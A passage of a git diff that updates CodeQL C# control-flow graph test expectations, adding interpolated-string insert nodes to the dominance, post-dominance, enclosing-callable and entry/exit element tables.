Patterns.cs:10:38:10:39 | access to local variable i1 | -| Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:31:10:41 | $"..." | +| Patterns.cs:10:37:10:40 | {...} | Patterns.cs:10:31:10:41 | $"..." | +| Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:37:10:40 | {...} | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:18 | access to local variable o | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:23:12:31 | String s1 | | Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | @@ -3158,7 +3161,8 @@ dominance | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:33:14:39 | "string " | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:13:14:45 | call to method WriteLine | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:14:41:14:42 | access to local variable s1 | -| Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:31:14:44 | $"..." | +| Patterns.cs:14:40:14:43 | {...} | Patterns.cs:14:31:14:44 | $"..." | +| Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:40:14:43 | {...} | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:18 | access to local variable o | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:23:16:28 | Object v1 | | Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:17:9:18:9 | {...} | @@ -3179,7 +3183,8 @@ dominance | Patterns.cs:25:17:25:52 | ...; | Patterns.cs:25:37:25:45 | "positive " | | Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:25:17:25:51 | call to method WriteLine | | Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:25:47:25:48 | access to local variable i2 | -| Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:35:25:50 | $"..." | +| Patterns.cs:25:46:25:49 | {...} | Patterns.cs:25:35:25:50 | $"..." | +| Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:46:25:49 | {...} | | Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:27:18:27:23 | Int32 i3 | | Patterns.cs:27:18:27:23 | Int32 i3 | Patterns.cs:28:17:28:47 | ...; | | Patterns.cs:27:18:27:23 | Int32 i3 | Patterns.cs:30:13:30:27 | case ...: | @@ -3187,7 +3192,8 @@ dominance | Patterns.cs:28:17:28:47 | ...; | Patterns.cs:28:37:28:40 | "int " | | Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:28:17:28:46 | call to method WriteLine | | Patterns.cs:28:37:28:40 | "int " | Patterns.cs:28:42:28:43 | access to local variable i3 | -| Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:35:28:45 | $"..." | +| Patterns.cs:28:41:28:44 | {...} | Patterns.cs:28:35:28:45 | $"..." | +| Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:41:28:44 | {...} | | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:30:18:30:26 | String s2 | | Patterns.cs:30:18:30:26 | String s2 | Patterns.cs:31:17:31:50 | ...; | | Patterns.cs:30:18:30:26 | String s2 | Patterns.cs:33:13:33:24 | case ...: | @@ -3195,7 +3201,8 @@ dominance | Patterns.cs:31:17:31:50 | ...; | Patterns.cs:31:37:31:43 | "string " | | Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:31:17:31:49 | call to method WriteLine | | Patterns.cs:31:37:31:43 | "string " | Patterns.cs:31:45:31:46 | access to local variable s2 | -| Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:35:31:48 | $"..." | +| Patterns.cs:31:44:31:47 | {...} | Patterns.cs:31:35:31:48 | $"..." | +| Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:44:31:47 | {...} | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:18:33:23 | Object v2 | | Patterns.cs:33:18:33:23 | Object v2 | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:33:18:33:23 | Object v2 | Patterns.cs:35:13:35:20 | default: | @@ -3664,11 +3671,13 @@ dominance | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:40:158:43 | "a = " | | Switch.cs:158:38:158:47 | $"..." | Switch.cs:158:13:158:48 | call to method WriteLine | | Switch.cs:158:40:158:43 | "a = " | Switch.cs:158:45:158:45 | access to local variable s | -| Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:38:158:47 | $"..." | +| Switch.cs:158:44:158:46 | {...} | Switch.cs:158:38:158:47 | $"..." | +| Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:44:158:46 | {...} | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:40:160:43 | "b = " | | Switch.cs:160:38:160:47 | $"..." | Switch.cs:160:13:160:48 | call to method WriteLine | | Switch.cs:160:40:160:43 | "b = " | Switch.cs:160:45:160:45 | access to local variable s | -| Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:38:160:47 | $"..." | +| Switch.cs:160:44:160:46 | {...} | Switch.cs:160:38:160:47 | $"..." | +| Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:44:160:46 | {...} | | TypeAccesses.cs:1:7:1:18 | call to constructor Object | TypeAccesses.cs:1:7:1:18 | {...} | | TypeAccesses.cs:1:7:1:18 | enter TypeAccesses | TypeAccesses.cs:1:7:1:18 | call to constructor Object | | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses (normal) | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses | @@ -5858,13 +5867,15 @@ postDominance | Conditions.cs:146:13:146:13 | [b (line 143): true] access to parameter b | Conditions.cs:146:9:149:49 | [b (line 143): true] if (...) ... | | Conditions.cs:147:13:147:48 | call to method WriteLine | Conditions.cs:147:38:147:47 | $"..." | | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:146:13:146:13 | [b (line 143): true] access to parameter b | -| Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:147:45:147:45 | access to local variable s | +| Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:147:44:147:46 | {...} | | Conditions.cs:147:40:147:43 | "a = " | Conditions.cs:147:13:147:49 | ...; | +| Conditions.cs:147:44:147:46 | {...} | Conditions.cs:147:45:147:45 | access to local variable s | | Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:40:147:43 | "a = " | | Conditions.cs:149:13:149:48 | call to method WriteLine | Conditions.cs:149:38:149:47 | $"..." | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:146:13:146:13 | [b (line 143): false] access to parameter b | -| Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:45:149:45 | access to local variable s | +| Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:44:149:46 | {...} | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:13:149:49 | ...; | +| Conditions.cs:149:44:149:46 | {...} | Conditions.cs:149:45:149:45 | access to local variable s | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:40:149:43 | "b = " | | ExitMethods.cs:6:7:6:17 | call to constructor Object | ExitMethods.cs:6:7:6:17 | enter ExitMethods | | ExitMethods.cs:6:7:6:17 | exit ExitMethods | ExitMethods.cs:6:7:6:17 | exit ExitMethods (normal) | @@ -7341,8 +7352,9 @@ postDominance | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:8:13:8:23 | [true] ... is ... | | Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:10:31:10:41 | $"..." | | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:9:9:11:9 | {...} | -| Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:38:10:39 | access to local variable i1 | +| Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:37:10:40 | {...} | | Patterns.cs:10:33:10:36 | "int " | Patterns.cs:10:13:10:43 | ...; | +| Patterns.cs:10:37:10:40 | {...} | Patterns.cs:10:38:10:39 | access to local variable i1 | | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:33:10:36 | "int " | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:8:13:8:23 | [false] ... is ... | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:14:18:9 | if (...) ... | @@ -7350,8 +7362,9 @@ postDominance | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:12:18:12:31 | [true] ... is ... | | Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:14:31:14:44 | $"..." | | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:13:9:15:9 | {...} | -| Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:41:14:42 | access to local variable s1 | +| Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:40:14:43 | {...} | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:14:13:14:46 | ...; | +| Patterns.cs:14:40:14:43 | {...} | Patterns.cs:14:41:14:42 | access to local variable s1 | | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:33:14:39 | "string " | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [false] ... is ... | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:14:18:9 | if (...) ... | @@ -7368,20 +7381,23 @@ postDominance | Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:24:35:24:35 | 0 | | Patterns.cs:24:35:24:35 | 0 | Patterns.cs:24:30:24:31 | access to local variable i2 | | Patterns.cs:25:17:25:51 | call to method WriteLine | Patterns.cs:25:35:25:50 | $"..." | -| Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:25:47:25:48 | access to local variable i2 | +| Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:25:46:25:49 | {...} | | Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:25:17:25:52 | ...; | +| Patterns.cs:25:46:25:49 | {...} | Patterns.cs:25:47:25:48 | access to local variable i2 | | Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:37:25:45 | "positive " | | Patterns.cs:26:17:26:22 | break; | Patterns.cs:25:17:25:51 | call to method WriteLine | | Patterns.cs:27:18:27:23 | Int32 i3 | Patterns.cs:27:13:27:24 | case ...: | | Patterns.cs:28:17:28:46 | call to method WriteLine | Patterns.cs:28:35:28:45 | $"..." | -| Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:28:42:28:43 | access to local variable i3 | +| Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:28:41:28:44 | {...} | | Patterns.cs:28:37:28:40 | "int " | Patterns.cs:28:17:28:47 | ...; | +| Patterns.cs:28:41:28:44 | {...} | Patterns.cs:28:42:28:43 | access to local variable i3 | | Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:37:28:40 | "int " | | Patterns.cs:29:17:29:22 | break; | Patterns.cs:28:17:28:46 | call to method WriteLine | | Patterns.cs:30:18:30:26 | String s2 | Patterns.cs:30:13:30:27 | case ...: | | Patterns.cs:31:17:31:49 | call to method WriteLine | Patterns.cs:31:35:31:48 | $"..." | -| Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:31:45:31:46 | access to local variable s2 | +| Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:31:44:31:47 | {...} | | Patterns.cs:31:37:31:43 | "string " | Patterns.cs:31:17:31:50 | ...; | +| Patterns.cs:31:44:31:47 | {...} | Patterns.cs:31:45:31:46 | access to local variable s2 | | Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:37:31:43 | "string " | | Patterns.cs:32:17:32:22 | break; | Patterns.cs:31:17:31:49 | call to method WriteLine | | Patterns.cs:33:18:33:23 | Object v2 | Patterns.cs:33:13:33:24 | case ...: | @@ -7829,12 +7845,14 @@ postDominance | Switch.cs:157:9:160:49 | if (...) ... | Switch.cs:156:13:156:54 | String s = ... | | Switch.cs:157:13:157:13 | access to parameter b | Switch.cs:157:9:160:49 | if (...) ... | | Switch.cs:158:13:158:48 | call to method WriteLine | Switch.cs:158:38:158:47 | $"..." | -| Switch.cs:158:38:158:47 | $"..." | Switch.cs:158:45:158:45 | access to local variable s | +| Switch.cs:158:38:158:47 | $"..." | Switch.cs:158:44:158:46 | {...} | | Switch.cs:158:40:158:43 | "a = " | Switch.cs:158:13:158:49 | ...; | +| Switch.cs:158:44:158:46 | {...} | Switch.cs:158:45:158:45 | access to local variable s | | Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:40:158:43 | "a = " | | Switch.cs:160:13:160:48 | call to method WriteLine | Switch.cs:160:38:160:47 | $"..." | -| Switch.cs:160:38:160:47 | $"..." | Switch.cs:160:45:160:45 | access to local variable s | +| Switch.cs:160:38:160:47 | $"..." | Switch.cs:160:44:160:46 | {...} | | Switch.cs:160:40:160:43 | "b = " | Switch.cs:160:13:160:49 | ...; | +| Switch.cs:160:44:160:46 | {...} | Switch.cs:160:45:160:45 | access to local variable s | | Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:40:160:43 | "b = " | | TypeAccesses.cs:1:7:1:18 | call to constructor Object | TypeAccesses.cs:1:7:1:18 | enter TypeAccesses | | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses (normal) | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 4f208361ea1..57e393adc39 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -1642,11 +1642,13 @@ nodeEnclosing | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:147:40:147:43 | "a = " | Conditions.cs:143:10:143:12 | M11 | +| Conditions.cs:147:44:147:46 | {...} | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:13:149:48 | call to method WriteLine | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:143:10:143:12 | M11 | +| Conditions.cs:149:44:149:46 | {...} | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:143:10:143:12 | M11 | | ExitMethods.cs:6:7:6:17 | call to constructor Object | ExitMethods.cs:6:7:6:17 | ExitMethods | | ExitMethods.cs:6:7:6:17 | enter ExitMethods | ExitMethods.cs:6:7:6:17 | ExitMethods | @@ -3436,6 +3438,7 @@ nodeEnclosing | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:10:33:10:36 | "int " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:10:37:10:40 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | @@ -3447,6 +3450,7 @@ nodeEnclosing | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:14:40:14:43 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:5:10:5:11 | M1 | @@ -3468,6 +3472,7 @@ nodeEnclosing | Patterns.cs:25:17:25:52 | ...; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:25:46:25:49 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:26:17:26:22 | break; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:5:10:5:11 | M1 | @@ -3476,6 +3481,7 @@ nodeEnclosing | Patterns.cs:28:17:28:47 | ...; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:28:37:28:40 | "int " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:28:41:28:44 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:29:17:29:22 | break; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:5:10:5:11 | M1 | @@ -3484,6 +3490,7 @@ nodeEnclosing | Patterns.cs:31:17:31:50 | ...; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:31:37:31:43 | "string " | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:31:44:31:47 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:32:17:32:22 | break; | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:5:10:5:11 | M1 | @@ -4014,11 +4021,13 @@ nodeEnclosing | Switch.cs:158:13:158:49 | ...; | Switch.cs:154:10:154:12 | M15 | | Switch.cs:158:38:158:47 | $"..." | Switch.cs:154:10:154:12 | M15 | | Switch.cs:158:40:158:43 | "a = " | Switch.cs:154:10:154:12 | M15 | +| Switch.cs:158:44:158:46 | {...} | Switch.cs:154:10:154:12 | M15 | | Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:154:10:154:12 | M15 | | Switch.cs:160:13:160:48 | call to method WriteLine | Switch.cs:154:10:154:12 | M15 | | Switch.cs:160:13:160:49 | ...; | Switch.cs:154:10:154:12 | M15 | | Switch.cs:160:38:160:47 | $"..." | Switch.cs:154:10:154:12 | M15 | | Switch.cs:160:40:160:43 | "b = " | Switch.cs:154:10:154:12 | M15 | +| Switch.cs:160:44:160:46 | {...} | Switch.cs:154:10:154:12 | M15 | | Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:154:10:154:12 | M15 | | TypeAccesses.cs:1:7:1:18 | call to constructor Object | TypeAccesses.cs:1:7:1:18 | TypeAccesses | | TypeAccesses.cs:1:7:1:18 | enter TypeAccesses | TypeAccesses.cs:1:7:1:18 | TypeAccesses | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index fddab21f2b6..cc26ecf7c8e 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -1158,11 +1158,13 @@ | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:49 | ...; | | Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:147:40:147:43 | "a = " | | Conditions.cs:147:40:147:43 | "a = " | Conditions.cs:147:40:147:43 | "a = " | +| Conditions.cs:147:44:147:46 | {...} | Conditions.cs:147:45:147:45 | access to local variable s | | Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:45:147:45 | access to local variable s | | Conditions.cs:149:13:149:48 | call to method WriteLine | Conditions.cs:149:40:149:43 | "b = " | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:49 | ...; | | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:40:149:43 | "b = " | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:40:149:43 | "b = " | +| Conditions.cs:149:44:149:46 | {...} | Conditions.cs:149:45:149:45 | access to local variable s | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:45:149:45 | access to local variable s | | ExitMethods.cs:6:7:6:17 | call to constructor Object | ExitMethods.cs:6:7:6:17 | call to constructor Object | | ExitMethods.cs:6:7:6:17 | {...} | ExitMethods.cs:6:7:6:17 | {...} | @@ -2238,6 +2240,7 @@ | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:13:10:43 | ...; | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:33:10:36 | "int " | | Patterns.cs:10:33:10:36 | "int " | Patterns.cs:10:33:10:36 | "int " | +| Patterns.cs:10:37:10:40 | {...} | Patterns.cs:10:38:10:39 | access to local variable i1 | | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:38:10:39 | access to local variable i1 | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:14:18:9 | if (...) ... | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:18:12:18 | access to local variable o | @@ -2248,6 +2251,7 @@ | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:13:14:46 | ...; | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:33:14:39 | "string " | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:14:33:14:39 | "string " | +| Patterns.cs:14:40:14:43 | {...} | Patterns.cs:14:41:14:42 | access to local variable s1 | | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:41:14:42 | access to local variable s1 | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:18:16:18 | access to local variable o | @@ -2268,6 +2272,7 @@ | Patterns.cs:25:17:25:52 | ...; | Patterns.cs:25:17:25:52 | ...; | | Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:25:37:25:45 | "positive " | | Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:25:37:25:45 | "positive " | +| Patterns.cs:25:46:25:49 | {...} | Patterns.cs:25:47:25:48 | access to local variable i2 | | Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:47:25:48 | access to local variable i2 | | Patterns.cs:26:17:26:22 | break; | Patterns.cs:26:17:26:22 | break; | | Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:27:13:27:24 | case ...: | @@ -2276,6 +2281,7 @@ | Patterns.cs:28:17:28:47 | ...; | Patterns.cs:28:17:28:47 | ...; | | Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:28:37:28:40 | "int " | | Patterns.cs:28:37:28:40 | "int " | Patterns.cs:28:37:28:40 | "int " | +| Patterns.cs:28:41:28:44 | {...} | Patterns.cs:28:42:28:43 | access to local variable i3 | | Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:42:28:43 | access to local variable i3 | | Patterns.cs:29:17:29:22 | break; | Patterns.cs:29:17:29:22 | break; | | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:30:13:30:27 | case ...: | @@ -2284,6 +2290,7 @@ | Patterns.cs:31:17:31:50 | ...; | Patterns.cs:31:17:31:50 | ...; | | Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:31:37:31:43 | "string " | | Patterns.cs:31:37:31:43 | "string " | Patterns.cs:31:37:31:43 | "string " | +| Patterns.cs:31:44:31:47 | {...} | Patterns.cs:31:45:31:46 | access to local variable s2 | | Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:45:31:46 | access to local variable s2 | | Patterns.cs:32:17:32:22 | break; | Patterns.cs:32:17:32:22 | break; | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:13:33:24 | case ...: | @@ -2696,11 +2703,13 @@ | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:49 | ...; | | Switch.cs:158:38:158:47 | $"..." | Switch.cs:158:40:158:43 | "a = " | | Switch.cs:158:40:158:43 | "a = " | Switch.cs:158:40:158:43 | "a = " | +| Switch.cs:158:44:158:46 | {...} | Switch.cs:158:45:158:45 | access to local variable s | | Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:45:158:45 | access to local variable s | | Switch.cs:160:13:160:48 | call to method WriteLine | Switch.cs:160:40:160:43 | "b = " | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:49 | ...; | | Switch.cs:160:38:160:47 | $"..." | Switch.cs:160:40:160:43 | "b = " | | Switch.cs:160:40:160:43 | "b = " | Switch.cs:160:40:160:43 | "b = " | +| Switch.cs:160:44:160:46 | {...} | Switch.cs:160:45:160:45 | access to local variable s | | Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:45:160:45 | access to local variable s | | TypeAccesses.cs:1:7:1:18 | call to constructor Object | TypeAccesses.cs:1:7:1:18 | call to constructor Object | | TypeAccesses.cs:1:7:1:18 | {...} | TypeAccesses.cs:1:7:1:18 | {...} | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 81ee139f6a6..bc47b5b3fa2 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -1452,11 +1452,13 @@ | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:48 | call to method WriteLine | normal | | Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:147:38:147:47 | $"..." | normal | | Conditions.cs:147:40:147:43 | "a = " | Conditions.cs:147:40:147:43 | "a = " | normal | +| Conditions.cs:147:44:147:46 | {...} | Conditions.cs:147:44:147:46 | {...} | normal | | Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:45:147:45 | access to local variable s | normal | | Conditions.cs:149:13:149:48 | call to method WriteLine | Conditions.cs:149:13:149:48 | call to method WriteLine | normal | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:48 | call to method WriteLine | normal | | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:38:149:47 | $"..." | normal | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:40:149:43 | "b = " | normal | +| Conditions.cs:149:44:149:46 | {...} | Conditions.cs:149:44:149:46 | {...} | normal | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:45:149:45 | access to local variable s | normal | | ExitMethods.cs:6:7:6:17 | call to constructor Object | ExitMethods.cs:6:7:6:17 | call to constructor Object | normal | | ExitMethods.cs:6:7:6:17 | {...} | ExitMethods.cs:6:7:6:17 | {...} | normal | @@ -2911,6 +2913,7 @@ | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:13:10:42 | call to method WriteLine | normal | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:31:10:41 | $"..." | normal | | Patterns.cs:10:33:10:36 | "int " | Patterns.cs:10:33:10:36 | "int " | normal | +| Patterns.cs:10:37:10:40 | {...} | Patterns.cs:10:37:10:40 | {...} | normal | | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:38:10:39 | access to local variable i1 | normal | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:14:13:14:45 | call to method WriteLine | normal | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | ... is ... | false | @@ -2925,6 +2928,7 @@ | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:13:14:45 | call to method WriteLine | normal | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:31:14:44 | $"..." | normal | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:14:33:14:39 | "string " | normal | +| Patterns.cs:14:40:14:43 | {...} | Patterns.cs:14:40:14:43 | {...} | normal | | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:41:14:42 | access to local variable s1 | normal | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | ... is ... | false | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:17:9:18:9 | {...} | normal | @@ -2959,6 +2963,7 @@ | Patterns.cs:25:17:25:52 | ...; | Patterns.cs:25:17:25:51 | call to method WriteLine | normal | | Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:25:35:25:50 | $"..." | normal | | Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:25:37:25:45 | "positive " | normal | +| Patterns.cs:25:46:25:49 | {...} | Patterns.cs:25:46:25:49 | {...} | normal | | Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:47:25:48 | access to local variable i2 | normal | | Patterns.cs:26:17:26:22 | break; | Patterns.cs:26:17:26:22 | break; | break | | Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:27:18:27:23 | Int32 i3 | no-match | @@ -2969,6 +2974,7 @@ | Patterns.cs:28:17:28:47 | ...; | Patterns.cs:28:17:28:46 | call to method WriteLine | normal | | Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:28:35:28:45 | $"..." | normal | | Patterns.cs:28:37:28:40 | "int " | 